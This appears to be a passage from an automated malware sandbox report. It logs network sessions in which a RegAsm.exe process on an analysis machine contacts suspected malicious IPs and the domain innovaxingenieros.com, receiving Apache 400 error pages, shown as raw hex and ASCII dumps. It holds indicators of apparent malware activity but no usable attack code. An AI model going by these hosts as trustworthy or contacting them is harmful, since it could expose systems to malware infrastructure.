Sep 18, 2024 14:30:08.141019106 CEST	1236	IN	Data Raw: 41 6b 41 54 38 34 62 73 30 66 58 32 77 65 53 38 38 58 37 58 36 68 58 52 44 44 52 7a 64 77 48 5a 2f 35 44 32 68 6a 6a 67 68 74 33 4d 62 35 79 31 4e 49 4e 71 2b 62 65 5a 42 75 38 64 38 34 36 35 37 77 50 59 66 4e 38 70 5a 42 63 30 67 2b 4a 4b 69 4b Data Ascii: AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr271oVokU6AJ9U5FGnXIww5mH+kLEhxI1cl20QCGCTgRMA/3+F2lRXXtzXhURPTTt9GQA6h+d/1dE5An9GRH5o5mwIgKHvhCBi5j60Bci8oe+EKEPrYmg+QNNOw3P
Sep 18, 2024 14:30:08.141033888 CEST	1195	IN	Data Raw: 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 72 65 61 73 6f 6e 2d 74 65 78 74 22 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 Data Ascii: section> <p class="reason-text">Your browser sent a request that this server could not understand:</p> </div> <section class="additional-info"> <div class="container"> <div class="additi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49712	167.114.163.236	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:07.369632006 CEST	125	OUT	Data Raw: 16 03 01 00 78 01 00 00 74 03 01 66 ea c7 ce fe 09 ad f5 58 e9 b8 ab 34 10 8d c4 5e 35 f9 81 e3 34 24 1e 38 ec da 88 80 84 8f a3 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 3d 00 00 00 1a 00 18 00 00 15 69 6e 6e 6f 76 61 78 69 6e Data Ascii: xtfX4^54$85/=innovaxingenieros.com#
Sep 18, 2024 14:30:07.603887081 CEST	125	OUT	Data Raw: 16 03 01 00 78 01 00 00 74 03 01 66 ea c7 ce fe 09 ad f5 58 e9 b8 ab 34 10 8d c4 5e 35 f9 81 e3 34 24 1e 38 ec da 88 80 84 8f a3 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 3d 00 00 00 1a 00 18 00 00 15 69 6e 6e 6f 76 61 78 69 6e Data Ascii: xtfX4^54$85/=innovaxingenieros.com#
Sep 18, 2024 14:30:08.163347960 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 18 Sep 2024 12:30:08 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 18, 2024 14:30:08.163399935 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 18, 2024 14:30:08.163410902 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 18, 2024 14:30:08.163424969 CEST	1236	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a img { b
Sep 18, 2024 14:30:08.163445950 CEST	1236	IN	Data Raw: 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 Data Ascii: ddress { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; } .status-reason { display: inline;
Sep 18, 2024 14:30:08.163460016 CEST	1236	IN	Data Raw: 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 37 37 4e 4c 65 35 31 34 76 75 38 42 50 6a 36 2f 6e 33 6c 43 64 2f 56 6b 67 4b Data Ascii: iZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0KSQVIvQfERciMpcaFtW4H8iI
Sep 18, 2024 14:30:08.163475037 CEST	896	IN	Data Raw: 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 Data Ascii: AsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006L
Sep 18, 2024 14:30:08.163487911 CEST	1236	IN	Data Raw: 58 50 42 4f 66 4f 36 48 4e 37 55 59 6c 4a 6d 75 73 6c 70 57 44 55 54 64 59 61 62 34 4c 32 7a 31 76 34 30 68 50 50 42 76 77 7a 71 4f 6c 75 54 76 68 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 Data Ascii: XPBOfO6HN7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdC
Sep 18, 2024 14:30:08.163501024 CEST	1236	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 34 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 Data Ascii: nt-size: 450%; } } </style> </head> <body> <div class="container"> <secion class="response-info"> <span class="status-code">400</span> <span class="status-reas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49715	167.114.163.236	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:08.149209023 CEST	125	OUT	Data Raw: 16 03 01 00 78 01 00 00 74 03 01 66 ea c7 cf 7e 56 ec 17 a6 3b 1f 3e 43 60 c9 0f 01 4f a2 9c 3e c9 70 8f e1 41 7c 2a 58 b2 fa 57 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 3d 00 00 00 1a 00 18 00 00 15 69 6e 6e 6f 76 61 78 69 6e Data Ascii: xtf~V;>C`O>pA\|*XW5/=innovaxingenieros.com#
Sep 18, 2024 14:30:08.637018919 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 18 Sep 2024 12:30:08 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 18, 2024 14:30:08.637038946 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat
Sep 18, 2024 14:30:08.637052059 CEST	448	IN	Data Raw: 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 Data Ascii: .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Sep 18, 2024 14:30:08.637141943 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 18, 2024 14:30:08.637156010 CEST	1236	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////
Sep 18, 2024 14:30:08.637176037 CEST	448	IN	Data Raw: 76 51 66 45 52 63 69 4d 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 Data Ascii: vQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrH
Sep 18, 2024 14:30:08.637190104 CEST	1236	IN	Data Raw: 74 5a 6c 55 42 45 68 4b 49 39 6b 36 6e 75 4c 45 38 62 7a 4b 56 53 45 43 45 48 65 43 5a 53 79 73 72 30 34 71 4a 47 6e 54 7a 73 56 78 4a 6f 51 77 6d 37 62 50 68 51 37 63 7a 61 35 45 43 47 51 47 70 67 36 54 6e 6a 7a 6d 57 42 62 55 37 74 45 78 6b 68 Data Ascii: tZlUBEhKI9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W
Sep 18, 2024 14:30:08.637203932 CEST	1236	IN	Data Raw: 53 65 2f 44 49 55 49 48 42 64 52 43 4d 4d 56 36 4f 6e 48 72 74 57 33 62 78 63 38 56 4a 56 6d 50 51 2b 49 46 51 6d 62 74 79 55 67 65 6a 65 6d 36 56 73 7a 77 61 4e 4a 35 49 51 54 39 72 38 41 55 46 30 34 2f 44 6f 4d 49 2b 4e 68 31 5a 57 35 4d 34 63 Data Ascii: Se/DIUIHBdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61erXPBOfO6HN7UYlJmuslp
Sep 18, 2024 14:30:08.637274981 CEST	1236	IN	Data Raw: 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 Data Ascii: QAAAABJRU5ErkJggg==); } .container { width: 70%; } .status-code { font-size: 900%; } .status-reason { font-size: 450%;
Sep 18, 2024 14:30:08.637290001 CEST	747	IN	Data Raw: 3d 22 69 6e 66 6f 2d 68 65 61 64 69 6e 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 6e 6f 6e 65 29 20 28 70 6f 72 74 20 38 30 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="info-heading"> (none) (port 80) </div> </li> <li class="info-server"></li> </ul> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49716	167.114.163.236	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:08.170536041 CEST	125	OUT	Data Raw: 16 03 01 00 78 01 00 00 74 03 01 66 ea c7 cf 14 da c3 8d ff e4 7c db d5 1c 32 7a 0d ec f5 e3 84 bd 8b 87 a0 28 8d e8 a6 a3 24 ee 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 3d 00 00 00 1a 00 18 00 00 15 69 6e 6e 6f 76 61 78 69 6e Data Ascii: xtf\|2z($5/=innovaxingenieros.com#
Sep 18, 2024 14:30:08.640083075 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 18 Sep 2024 12:30:08 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 18, 2024 14:30:08.640098095 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 18, 2024 14:30:08.640110970 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 18, 2024 14:30:08.640124083 CEST	1236	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a img { b
Sep 18, 2024 14:30:08.640136003 CEST	1236	IN	Data Raw: 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 Data Ascii: ddress { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; } .status-reason { display: inline;
Sep 18, 2024 14:30:08.640149117 CEST	1236	IN	Data Raw: 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 37 37 4e 4c 65 35 31 34 76 75 38 42 50 6a 36 2f 6e 33 6c 43 64 2f 56 6b 67 4b Data Ascii: iZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0KSQVIvQfERciMpcaFtW4H8iI
Sep 18, 2024 14:30:08.640198946 CEST	1236	IN	Data Raw: 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 Data Ascii: AsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006L
Sep 18, 2024 14:30:08.640381098 CEST	552	IN	Data Raw: 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 Data Ascii: ayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7
Sep 18, 2024 14:30:08.640393972 CEST	1236	IN	Data Raw: 54 30 70 41 42 4e 42 37 57 6b 41 62 38 31 6b 7a 38 66 45 6f 35 4e 61 30 72 41 51 59 55 38 4b 51 45 57 45 50 53 6b 41 61 61 66 6e 52 50 69 58 45 47 48 50 43 43 62 63 6e 78 70 68 49 45 50 50 6e 68 58 63 39 58 6b 52 4e 75 48 68 33 43 77 38 4a 58 74 Data Ascii: T0pABNB7WkAb81kz8fEo5Na0rAQYU8KQEWEPSkAaafnRPiXEGHPCCbcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==); } .container { width: 70%; } .status-
Sep 18, 2024 14:30:08.640408039 CEST	867	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 67 2d 73 79 73 2f 73 65 72 76 65 72 5f 6d 69 73 63 6f 6e 66 69 67 75 72 65 64 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 69 6d 61 67 65 22 20 2f 3e 0a Data Ascii: <img src="/img-sys/server_misconfigured.png" class="info-image" /> <div class="info-heading"> (none) (port 80) </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49728	45.91.200.135	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
